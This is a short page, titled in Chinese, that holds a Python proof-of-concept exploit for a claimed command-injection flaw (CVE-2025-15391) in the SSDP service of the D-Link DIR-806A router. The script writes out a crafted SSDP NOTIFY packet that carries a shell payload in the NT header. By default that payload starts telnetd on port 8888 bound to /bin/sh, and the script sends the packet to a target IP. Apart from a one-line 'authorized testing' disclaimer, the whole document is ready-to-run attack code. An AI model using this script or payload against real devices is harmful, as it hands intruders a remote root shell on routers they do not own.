D-Link DIR-806A SSDP服务命令注入漏洞 (CVE-2025-15391)

#!/usr/bin/env python3 # CVE-2025-15391 PoC - D-Link DIR-806A SSDP Command Injection # This PoC demonstrates command injection in the SSDP Request Handler import socket import sys import random def generate_ssdp_notify_with_payload(payload): """ Generate malicious SSDP NOTIFY message with command injection payload """ # SSDP NOTIFY message format notify_msg = f"NOTIFY * HTTP/1.1\r\n" notify_msg += f"HOST: 239.255.255.250:1900\r\n" notify_msg += f"NT: {payload}\r\n" notify_msg += f"USN: uuid:{random.randint(1000, 9999)}::upnp:rootdevice\r\n" notify_msg += f"NTS: ssdp:alive\r\n" notify_msg += f"Cache-Control: max-age=1800\r\n" notify_msg += f"SERVER: Linux/2.6 UPnP/1.0 D-Link/1.0\r\n" notify_msg += "\r\n" return notify_msg def send_ssdp_exploit(target_ip, target_port=1900, payload=";telnetd -p 8888 -l /bin/sh"): """ Send exploit payload to target D-Link router via SSDP Args: target_ip: Target router IP address target_port: SSDP port (default 1900) payload: Command injection payload to execute Returns: bool: True if exploit sent successfully """ try: # Create UDP socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # Generate malicious SSDP NOTIFY message ssdp_message = generate_ssdp_notify_with_payload(payload) # Send to target sock.sendto(ssdp_message.encode(), (target_ip, target_port)) print(f"[+] Exploit payload sent to {target_ip}:{target_port}") print(f"[+] Payload: {payload}") print(f"[+] Message:\n{ssdp_message}") sock.close() return True except Exception as e: print(f"[-] Error sending exploit: {str(e)}") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-15391.py <target_ip> [payload]") print("Example: python3 cve-2025-15391.py 192.168.0.1 ';telnetd -p 8888 -l /bin/sh'") print("\nNote: This PoC is for educational and authorized testing purposes only.") sys.exit(1) target_ip = sys.argv[1] payload = sys.argv[2] if len(sys.argv) > 2 else ";telnetd -p 8888 -l /bin/sh" print(f"[*] CVE-2025-15391 - D-Link DIR-806A SSDP Command Injection") print(f"[*] Target: {target_ip}") print(f"[*] Exploiting SSDP service on port 1900...") send_ssdp_exploit(target_ip, 1900, payload) if __name__ == "__main__": main()